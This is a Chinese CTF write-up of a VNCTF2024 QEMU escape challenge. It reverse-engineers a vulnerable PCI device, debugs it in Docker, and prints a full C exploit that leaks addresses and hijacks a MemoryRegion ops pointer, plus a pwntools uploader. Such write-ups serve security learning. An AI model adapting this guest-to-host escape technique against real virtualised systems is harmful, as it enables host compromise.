从 VNCTF2024 的一道题学习QEMU Escape

说在前面

本文的草稿是边打边学边写出来的，文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似，在分析结束以后我又在部分比较模糊的地方加入了一些补充，因此阅读起来可能会相对轻松。（当然也不排除这是我自以为是）

题目 github 仓库

[1] 题目分析流程

[1-1] 启动文件分析

读 Dockerfile，了解到它在搭起环境以后启动了start.sh，

再读 start.sh，了解到它启动了 xinetd 程序

再读 xinetd，这个程序的主要作用是监听指定 port，并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh

再读 run.sh，发现它用 QEMU 起了一个程序，通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。

通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init，跟进调用 字符串vn_instance_init 的 函数vn_instance_init，再按 x 查看 函数vn_instance_init 的引用，可以看到下面还有一个 vn_class_init ，反汇编后看到

__int64 __fastcall vn_class_init(__int64 a1)
{__int64 result; // raxresult = PCI_DEVICE_CLASS_23(a1);*(_QWORD *)(result + 176) = pci_vn_realize;*(_QWORD *)(result + 184) = 0LL;*(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)*(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)*(_BYTE *)(result + 212) = 0x10;*(_WORD *)(result + 214) = 0xFF;return result;
}

通过厂商ID和设备ID，我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn

/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况

/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r--    1 0        0             4096 Feb 18 12:18 resource
-rw-------    1 0        0             4096 Feb 18 12:18 resource0
...
...

有了 resource0 这个文件，我们就可以在exp里 mmap 做虚拟地址映射。

并且我们可以看到 vn 这个设备只注册了 mmio，那就考虑用 mmio攻击（点击这里了解 mmio 运行原理）

[1-2] 静态分析

如果我写的不够清楚，读者可以参考 blizzardCTF 里的 strng这一实现，读完这段代码会对 pci 设备的了解提升一个台阶。

我们先补充一些概念：

QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用，而 -device 参数为 kernel 提供了模拟的 pci 设备。

如果 kernel 实现了类似 linux 的 rootfs，我们就可以通过 lspci 来查看相关 pci，并在/sys/devices/…找到 pci 设备启动时 kernel 分配给 pci 的资源，也就是 resource0 等，这也是前文提到过的。

resource0 可以看作是一大片开关，当我们修改 resource0 中的内容时，可以看做对应开关被启动，pci设备也随着开关的启动而变化，具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”

所以我们可以 open resource0 这个文件，用 mmap 映射它，从而使我们能够在C代码中对 resource0 这片内存进行修改

可是由于 QEMU 也只不过是一个程序，虚拟的 pci 设备意味着，一定有一片内存存储着 pci 相关的数据

关于 pci 存储数据的这一部分好像就涉及 QOM 了，还没太搞懂，总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关

假设我们的调用链是这样的: 
docker -> QEMU -> exp则 docker 会让 QEMU 误以为自己占据全部内存空间，QEMU 会让 exp 认为自己占据全部内存空间而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上，我们在程序 exp 中读写 resource0，就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区，如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针，就可以劫持控制流。

那么，接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编，了解怎样读写堆区内容。

oNxdA.md.png

由于对 QEMU 不是很熟悉，我只能瞎命名，vn_mmio_write 的大体逻辑是

  • object_dynamic_cast_assert是动态类型转换，我OOP学的很烂所以不清楚这是什么😭，猜测是申请一块堆的地址然后用 ptr 指向这块地址

  • ①如果 op == 0x30 且 ptr[737] == 0

    • ptr[ ptr[736]/8 + 720 ] = var，并将 ptr[737] 设置为1

  • ②如果 op == 0x10 且 var < 0x3C

    • ptr[736] = var
    • 这里可以用负数来上溢，从而可以读很大一片空间的内容

  • ③如果 op == 0x20 且 var 的高32位 < 0x3C

    • ptr[ HIDWORD(var) + 720 ] = (LODWORD)var

同理 vn_mmio_read 也可以分析出来。

下面是我调试代码时画的草图，读者可以等看完“[2] 动态调试”部分以后再回来看这张图，个人认为这样的图对理解程序非常有帮助

通过分析我们可以得知，vn_mmio_write可以实现一些越界写，同理分析 vn_mmio_read 我们可以得知，令可以实现一些越界读，根据反汇编我们可以定制一下这道题的 mmio_read

void mmio_write(uint64_t addr, uint64_t value)
{*((uint64_t*)(mmio_base + addr)) = value;
}uint32_t mmio_read(uint64_t addr)
{return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{uint64_t val = value + (idx << 32);mmio_write(0x20,val);
}

通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B，我们需要跳转到这里去执行execv(“/bin/sh”);

现在我们知道了怎样读写堆区，也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion，而且 QEMU 会启动 pie，我们需要绕过 pie 才能利用后门函数。

所以我们就先读一些内容，看看附近有没有什么能利用的东西。

帮助网安学习，全套资料S信免费领取：
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）

[2] 动态调试

接下来我们需要用 docker 调试 qemu，这里记录一下

# 注: 如果已经提前 docker-compose 好了，则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp# 然后解包 rootfs.cpio，参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio# 将 exp 放入 /core/usr/bin 中# 重新打包 roortfs.cpio
gen rootfs.cpio# 修改 run.sh 
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
#     -L ./pc-bios \
#     -m 128M \
#     -append "tsc=unstable console=ttyS0" \
#     -kernel bzImage \
#     -initrd rootfs.cpio \
#     -device vn \
#     -nographic \
#     -no-reboot \
#     -monitor /dev/null \# 修改 Dockerfile，在创建容器时安装 qemu-system-x86 gdb，这一步其实在 容器的shell里也能install，可以跳过
vim Dockerfile # 下面内容只是 RUN 部分，其他部分不动
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
#     apt-get update && apt-get -y dist-upgrade && \
#     apt-get install -y lib32z1 xinetd \
#                        libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
#                        libfdt-dev libnuma-dev libglib2.0-dev \
#                        libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb# build 与 启动容器
docker-compose build
docker start vnctf# 启动tmux，分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash# pane2:
docker exec -ti vnctf /bin/bash# pane1:
./run.sh # 这里运行以后应该是什么也不会出现# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c     # 输入完以后看一眼 pane1，如果qemu启动了就等qemu启动# 如果没启动就继续输入 (gdb) c# pane1:
# 此时 QEMU 正常运行，我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp# pane2:
# 此时就可以开始调试了

现在程序正常运行了，我们开始查看读出来的东西有没有什么是能利用的

int main(int argc, char const *argv[])
{uint32_t catflag_addr = 0x6E65F9;getMMIOBase();printf("mmio_base Resource0Base: %p\n", mmio_base);uint64_t test_low,test_high,test;for(int i=-1;i>=-30;i--) {mmio_write(0x10, i*0x8);test_low = mmio_read(0x20);mmio_write(0x10, i*0x8 + 0x4);test_high = mmio_read(0x20);test = test_low + (test_high << 32);printf("test%d = 0x%llx\n", -i, test);getchar();}
}/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/

我们逐个地址 x/2gx 一下，最终发现这几个比较有意思的地方

PIE

(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3      0xf3c35d90f87d8948

我们在 IDA 中是能搜到这个函数的，它在 QEMU 里的偏移量是 0x82B35B，通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了

heap & MemoryRegion

(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>:   0x000055da252d3458      0x000055da252d3502

我们找到了需要的 ops，test24 存的就是 0x55da25dd01e0

所以我们有如下对应关系：

ptr[-24 + 720] -> 0x55da25dd01e0

那很自然的我们就想到，ptr的其他地方存着什么？这附近是不是就是 MemoryRegion？可是我们并没有 (&ptr[-24 + 720])，但我们知道的是 MemoryRegion 存在堆里，所以我们考虑用 find 命令查找（看起来像堆地址的）堆地址附近查找 0x55da25dd01e0 这个值就行

最终我们用到的是 test23 -> 0x55da2812e470

// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.

因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0

观察发现这个地址跟我们的 test10 非常近，可以计算一下

(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 =  0x55da2812ef58 - 0x68 = test10 - 0x68

而我们打印一下更多附近的值，可以看到

(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840      0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00      0x0000000000000001
0x55da2812eec0: 0x000055da2812e470      0x0000000000000001
0x55da2812eed0: 0x0000000000000000      0x0000000000000000
0x55da2812eee0: 0x000055da2812e470      0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0      0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0      0x0000000000000000
0x55da2812ef10: 0x0000000000001000      0x0000000000000000
0x55da2812ef20: 0x00000000febf1000      0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000      0x0000000000010001
0x55da2812ef40: 0x0000000000000000      0x0000000000000000
0x55da2812ef50: 0x0000000000000001      0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58      0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98      0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78      0x000055da28130f00
0x55da2812ef90: 0x0000000000000000      0x0000000000000000
0x55da2812efa0: 0x0000000000000000      0x0000000000000000
0x55da2812efb0: 0x0000000000000000      0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000      0x0000000000000000
0x55da2812efd0: 0x0000000000000000      0x0000000000000000
0x55da2812efe0: 0x0000000000000000      0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c      0x0000000000000000
0x55da2812f000: 0x0000000000000000      0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0      0x000055da273b01d0
0x55da2812f020: 0x0000000000000000      0x000055da25725d5f
0x55da2812f030: 0x0000000000000000      0x000055da25725de1

我们回到 ctf-wiki-QEMU 里查看一下 MemoryRegion

struct MemoryRegion {Object parent_obj;/* private: *//* The following fields should fit in a cache line */bool romd_mode;bool ram;bool subpage;bool readonly; /* For RAM regions */bool nonvolatile;bool rom_device;bool flush_coalesced_mmio;bool global_locking;uint8_t dirty_log_mask;bool is_iommu;RAMBlock *ram_block;Object *owner;const MemoryRegionOps *ops;void *opaque;MemoryRegion *container;    // 指向父 MemoryRegionInt128 size;    // 内存区域大小hwaddr addr;    // 在父 MR 中的偏移量void (*destructor)(MemoryRegion *mr);uint64_t align;bool terminates;bool ram_device;bool enabled;bool warning_printed; /* For reservations */uint8_t vga_logging_count;MemoryRegion *alias;    // 仅在 alias MR 中，指向实际的 MRhwaddr alias_offset;int32_t priority;QTAILQ_HEAD(, MemoryRegion) subregions;QTAILQ_ENTRY(MemoryRegion) subregions_link;QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;const char *name;unsigned ioeventfd_nb;MemoryRegionIoeventfd *ioeventfds;
};

假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;

0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0 
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000

我们可以看到这就是 MemoryRegion，当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8)，我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数

所以我们考虑这样的布置：

0x55da2812eef0(&test24)   -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B

[3] 完整 EXP

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";unsigned char* mmio_base;unsigned char* getMMIOBase(){int fd;if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {perror("open pci device");exit(-1);}mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);if(mmio_base == (void *) -1) {perror("mmap");exit(-1);}return mmio_base;
}void mmio_write(uint64_t addr, uint64_t value)
{*((uint64_t*)(mmio_base + addr)) = value;
}uint32_t mmio_read(uint64_t addr)
{return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{uint64_t val = value + (idx << 32);mmio_write(0x20,val);
}int main(int argc, char const *argv[])
{uint32_t catflag_addr = 0x6E65F9;getMMIOBase();printf("mmio_base Resource0Base: %p\n", mmio_base);mmio_write(0x10, -17*0x8);uint64_t pie_low = mmio_read(0x20);mmio_write(0x10, -17*0x8 + 0x4);uint64_t pie_high = mmio_read(0x20);uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;printf("pie = 0x%llx\n", pie);getchar();mmio_write(0x10, -10*0x8);uint64_t heap_low = mmio_read(0x20);mmio_write(0x10, -10*0x8 + 0x4);uint64_t heap_high = mmio_read(0x20);uint64_t heap = heap_low + (heap_high << 32);printf("heap = 0x%llx\n", heap);uint64_t backdoor = pie + 0x67429B;uint64_t system_plt_addr = heap + 0x60 + 8;uint64_t cmdaddr = heap + 0x58 + 8;getchar();mmio_write_idx(8,0x20746163);mmio_write_idx(12,0x67616C66);mmio_write_idx(16,backdoor & 0xffffffff);mmio_write_idx(20,backdoor >> 32);mmio_write_idx(24,system_plt_addr & 0xffffffff);mmio_write_idx(28,system_plt_addr >> 32);mmio_write_idx(32,cmdaddr & 0xffffffff);mmio_write_idx(36,cmdaddr >> 32);getchar();for(int i = 40;i <= 60 ;i += 4 ){mmio_write_idx(i,0);}getchar();mmio_write(0x10,-0xc0);getchar();mmio_write(0x30,system_plt_addr);getchar();mmio_read(0);return 0;
}

[4] exp.c 如何食用？

# exp.py
from pwn import *
import time, os
context.log_level = "debug"p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")f = open("./b64_exp", "r")p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")count = 1
while True:print('now line: ' + str(count))line = f.readline().replace("\n","")if len(line)<=0:breakcmd = b"echo '" + line.encode() + b"' >> b64_exp;"p.sendline(cmd) # send lines#time.sleep(0.02)#p.recv()p.recvuntil("~ #")count += 1
f.close()p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()

[5] 结语

本来以为 QEMU 是我走向内核态的第一步，但当我用 gdb 把它调起来的时候才发现，QEMU 也只是操作系统上的一个程序，跟我们平时打的用户态区别不大，也是 leak 然后劫持控制流去 getshell

但虚拟化和QEMU知识的缺失也让我“架空学习”，勿以浮沙筑高台，有时间还是要回过头来把基础筑牢的，现在对这道题理解的抽象程度还是太高了，应该继续打开它、研究它。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/276379.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

注意力机制Attention、CA注意力机制

注意力机制Attention、CA注意力机制

一、注意力机制 产生背景&#xff1a; 大数据时代&#xff0c;有很多数据提供给我们。对于人来说&#xff0c;可以利用重要的数据&#xff0c;过滤掉不重要的数据。那对于模型来说&#xff08;CNN、LSTM&#xff09;&#xff0c;很难决定什么重要、什么不重要&#xff0c;因此…
阅读更多...
QComboBox相关的qss学习

QComboBox相关的qss学习

QT有关QCobobox控件的样式设置&#xff08;圆角、下拉框&#xff0c;向上展开、可编辑、内部布局等&#xff09;_qcombobox样式-CSDN博客 原始图&#xff1a; 红色边框&#xff1a; QComboBox{ border:2px solid rgb(255, 85, 0); } 绿色背景&#xff1a; QComboBox{ border…
阅读更多...
疫情网课管理系统|基于springboot框架+ Mysql+Java+Tomcat的疫情网课管理系统设计与实现(可运行源码+数据库+设计文档+部署说明)

疫情网课管理系统|基于springboot框架+ Mysql+Java+Tomcat的疫情网课管理系统设计与实现(可运行源码+数据库+设计文档+部署说明)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 目录 前台功能效果图 ​编辑 学生功能模块 管理员功能 教师功能模块 系统功能设计 数据库E-R图设计 lun…
阅读更多...
【趣味项目】一键生成LICENSE

【趣味项目】一键生成LICENSE

【趣味项目】一键生成LICENSE 项目地址&#xff1a;GitHub(最新版本) | GitCode(旧版本) 项目介绍 一款用于自动生成开源项目协议的工具&#xff0c;可以通过 npm 进行安装后在命令行使用&#xff0c;非常方便 使用方式 npm install xxhls/get-license -gget-license --l…
阅读更多...
ELK之使用Filebeat插件收集日志到Logstash

ELK之使用Filebeat插件收集日志到Logstash

对于Springboot项目接入ELK非常方便&#xff0c;对于非maven&#xff0c;非Spring项目来说就比较复杂&#xff0c;这个时候我们就可以使用Filebeat插件还完成日志的收集发送工作。 Filebeat介绍 Filebeat是用于转发和收集数据的轻量级工具&#xff0c;Filebeat可以监视指定的…
阅读更多...
蓝桥杯深度优先搜索|剪枝|N皇后问题|路径之谜(C++)

蓝桥杯深度优先搜索|剪枝|N皇后问题|路径之谜(C++)

搜索&#xff1a;暴力法算法思想的具体实现 搜索&#xff1a;通用的方法&#xff0c;一个问题如果比较难&#xff0c;那么先尝试一下搜索&#xff0c;或许能启发出更好的算法 技巧&#xff1a;竞赛时遇到不会的难题&#xff0c;用搜索提交一下&#xff0c;说不定部分判题数据很…
阅读更多...
致净·未来 华帝核心渠道(V60)生态大会在上海外滩举办

致净·未来 华帝核心渠道(V60)生态大会在上海外滩举办

“百年未有之大变局就是中国崛起了,我们民族品牌崛起了!”龙永图在华帝核心渠道(V60)生态大会上如此说道。 干净舒适的厨房空间,高档时尚的厨房电器,智能便捷的科技设计,372项“好清洁”技术为净洁厨房保驾护航……这些充满未来科幻感的时尚健康生活,过去我们难以想象,如今梦想…
阅读更多...
CleanMyMac X2024永久免费的强大的Mac清理工具

CleanMyMac X2024永久免费的强大的Mac清理工具

作为产品功能介绍专员&#xff0c;很高兴向您详细介绍CleanMyMac X这款强大的Mac清理工具。CleanMyMac X具有广泛的清理能力&#xff0c;支持多种文件类型的清理&#xff0c;让您的Mac始终保持最佳状态。 系统垃圾 CleanMyMac X能够深入系统内部&#xff0c;智能识别并清理各种…
阅读更多...
java中几种对象存储（文件存储）中间件的介绍

java中几种对象存储（文件存储）中间件的介绍

一、前言 在博主得到系统中使用的对象存储主要有OSS&#xff08;阿里云的对象存储&#xff09; COS&#xff08;腾讯云的对象存储&#xff09;OBS&#xff08;华为云的对象存储&#xff09;还有就是MinIO 这些玩意。其实这种东西大差不差&#xff0c;几乎实现方式都是一样&…
阅读更多...
蓝桥杯刷题|02入门真题

蓝桥杯刷题|02入门真题

[蓝桥杯 2022 省 B] 刷题统计 题目描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天做 a 道题目&#xff0c;周六和周日每天做 b 道题目。请你帮小明计算&#xff0c;按照计划他将在第几天实现做题数大于等于 n 题? 输入格式 输入一行包含三个整数…
阅读更多...
1.Python数据分析—数据分析与挖掘详讲

1.Python数据分析—数据分析与挖掘详讲

1.Python数据分析—数据分析与挖掘详讲 一个人简介二数据分析与挖掘概述三什么是数据分析和挖掘四数据分析与挖掘在不同领域的应用4.1医疗领域&#xff1a;4.1.1 建立疾病数据库&#xff1a;4.1.2 临床决策支持&#xff1a;4.1.3 疾病预警和监控&#xff1a; 4.2 电子商务领域&…
阅读更多...
详细介绍Seq2Seq、Attention、Transformer ！！

详细介绍Seq2Seq、Attention、Transformer ！！

文章目录 前言 1、Seq2Seq工作原理 核心思想 工作原理 Encoder&#xff08;编码器&#xff09; Dncoder&#xff08;解码器&#xff09; 2、Attention工作原理 核心逻辑&#xff1a;从关注全部到关注重点 工作原理 Encoder&#xff08;编码器&#xff09; Decoder&#xff08;解…
阅读更多...
什么是分段锁？

什么是分段锁？

1、典型回答 分段锁是一种将锁细化到每个段(Segment) 级别的锁设计。在 ConcurrentHashMap 中&#xff0c;它将整个数据结构分成多个段&#xff0c;每个段只锁定自己的一部分数据。每个段可以看作是一个独立的分组&#xff0c;只锁定该段(Segment)内部的数据操作&#xff0c;不…
阅读更多...
Kyligence 亮相 Gartner 数据与分析峰会，生成式 AI 落地赋能业务

Kyligence 亮相 Gartner 数据与分析峰会，生成式 AI 落地赋能业务

3月11日-13日&#xff0c;Gartner 2024 数据与分析峰会 (Gartner Data & Analytics Summit) 在美国奥兰多盛大召开。作为全球领先的大数据分析和指标平台供应商&#xff0c;Kyligence 出席本次峰会并发表了 Kyligence: AI Enables Intelligent PDCA&#xff08;AI 赋能从计…
阅读更多...
蓝桥·算法双周赛|第七场分级赛——小白入门赛

蓝桥·算法双周赛|第七场分级赛——小白入门赛

&#x1f525;博客介绍&#xff1a; 27dCnc &#x1f3a5;系列专栏&#xff1a; <<数据结构与算法>> << 算法入门>> << C项目>> &#x1f3a5; 当前专栏: << 算法入门>> 专题 : 数据结构帮助小白快速入门算法 &#x1f4…
阅读更多...
QMI8658芯片I2C驱动开发指南

QMI8658芯片I2C驱动开发指南

这个芯片纯国产挺好用的&#xff0c;电路很好设计&#xff0c;我这垃圾焊功&#xff0c;纯手焊&#xff0c;&#xff0c;居然能用。 第一部分 硬件连接 画的很简陋&#xff0c;看看就可以了&#xff0c;这里I2C总线需要接10K上拉没有画出来&#xff0c;这个需要注意一下。 …
阅读更多...
【C++初阶】C++入门（上）

【C++初阶】C++入门（上）

C的认识 ①什么是C&#xff1f; ​ C语言是结构化和模块化的语言&#xff0c;适合处理较小规模的程序。对于复杂的问题&#xff0c;规模较大的程序&#xff0c;需要高度的抽象和建模时&#xff0c;C语言则不合适。 ​ 于是1982年&#xff0c;Bjarne Stroustrup&#xff08;本…
阅读更多...
scrcpy远程投屏控制Android

scrcpy远程投屏控制Android

下载 下载后解压压缩包scrcpy-win64-v2.4.zip scrcpy连接手机 1. 有线连接 - 手机开启开发者选项&#xff0c;并开启USB调试&#xff0c;连接电脑&#xff0c;华为手机示例解压scrcpy&#xff0c;在scrcpy目录下打开终端&#xff0c;&#xff08;或添加scrcpy路径为环境变…
阅读更多...
Android和IOS应用开发-Flutter 应用中实现记录和使用全局状态的几种方法

Android和IOS应用开发-Flutter 应用中实现记录和使用全局状态的几种方法

文章目录 在Flutter中记录和使用全局状态使用 Provider步骤1步骤2步骤3 使用 BLoC步骤1步骤2步骤3 使用 GetX&#xff1a;步骤1步骤2步骤3 在Flutter中记录和使用全局状态 在 Flutter 应用中&#xff0c;您可以使用以下几种方法来实现记录和使用全局状态&#xff0c;并在整个应…
阅读更多...
【Twinmotion】Twinmotion导入UE5

【Twinmotion】Twinmotion导入UE5

步骤 1. 在虚幻商城中安装“Datasmith Twinmotion导入器插件” 安装“面向虚幻引擎的Twinmotion内容” 2. 打开虚幻引擎&#xff0c;在插件中搜索“twinmotion”&#xff0c;勾选如下两个插件&#xff0c;然后重启虚幻引擎 3. 打开Twinmotion&#xff0c;随便添加一个物体 导出…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023